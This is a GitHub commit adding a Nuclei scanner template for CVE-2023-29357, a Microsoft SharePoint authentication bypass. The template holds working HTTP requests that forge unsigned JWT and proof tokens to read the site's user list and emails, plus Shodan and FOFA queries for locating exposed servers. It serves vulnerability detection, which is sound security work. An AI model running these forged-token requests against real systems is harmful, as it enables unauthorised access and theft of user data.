Merge pull request #8288 from projectdiscovery/CVE-2023-29357

Added CVE-2023-29357 (Microsoft SharePoint - Authentication Bypass)
patch-1
Dhiyaneshwaran 2023-09-29 22:03:45 +05:30 committed by GitHub
commit 557e1b2c28
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id: CVE-2023-29357
info:
name: Microsoft SharePoint - Authentication Bypass
author: pdteam
severity: critical
description: |
Microsoft SharePoint Server Elevation of Privilege Vulnerability
reference:
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-29357
- https://srcincite.io/advisories/src-2020-0022/
- https://github.com/Chocapikk/CVE-2023-29357
- https://sec.vnpt.vn/2023/08/phan-tich-cve-2023-29357-microsoft-sharepoint-validatetokenissuer-authentication-bypass-vulnerability/
- https://starlabs.sg/blog/2023/09-sharepoint-pre-auth-rce-chain/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-29357
epss-score: 0.00267
epss-percentile: 0.63767
cpe: cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: microsoft
product: sharepoint_server
fofa-query: app="Microsoft-SharePoint"
shodan-query: http.headers_hash:-1968878704
tags: cve,cve2023,microsoft,sharepoint_server
variables:
client_id: "00000003-0000-0ff1-ce00-000000000000"
http:
- raw:
- |
GET /_api/web/siteusers HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer
- |
GET /_api/web/siteusers HTTP/1.1
Host: {{Hostname}}
Accept: application/json
Authorization: Bearer {{generate_jwt("{\"aud\":\"{{client_id}}@{{realm}}\",\"iss\":\"{{client_id}}\",\"nbf\":1695987703,\"exp\":2011547223,\"ver\":\"hashedprooftoken\",\"nameid\":\"{{client_id}}@{{realm}}\",\"endpointurl\":\"qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=\",\"endpointurlLength\":1,\"isloopback\":true}","none")}}AAA
X-PROOF_TOKEN: {{generate_jwt("{\"aud\":\"{{client_id}}@{{realm}}\",\"iss\":\"{{client_id}}\",\"nbf\":1695987703,\"exp\":2011547223,\"ver\":\"hashedprooftoken\",\"nameid\":\"{{client_id}}@{{realm}}\",\"endpointurl\":\"qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=\",\"endpointurlLength\":1,\"isloopback\":true}","none")}}AAA
extractors:
- type: regex
part: header
group: 1
name: realm
regex:
- realm="([^"]*)"
internal: true
- type: json
json:
- .value[].Email
matchers:
- type: word
part: body_2
words:
- LoginName
- Email
- IsSiteAdmin
condition: and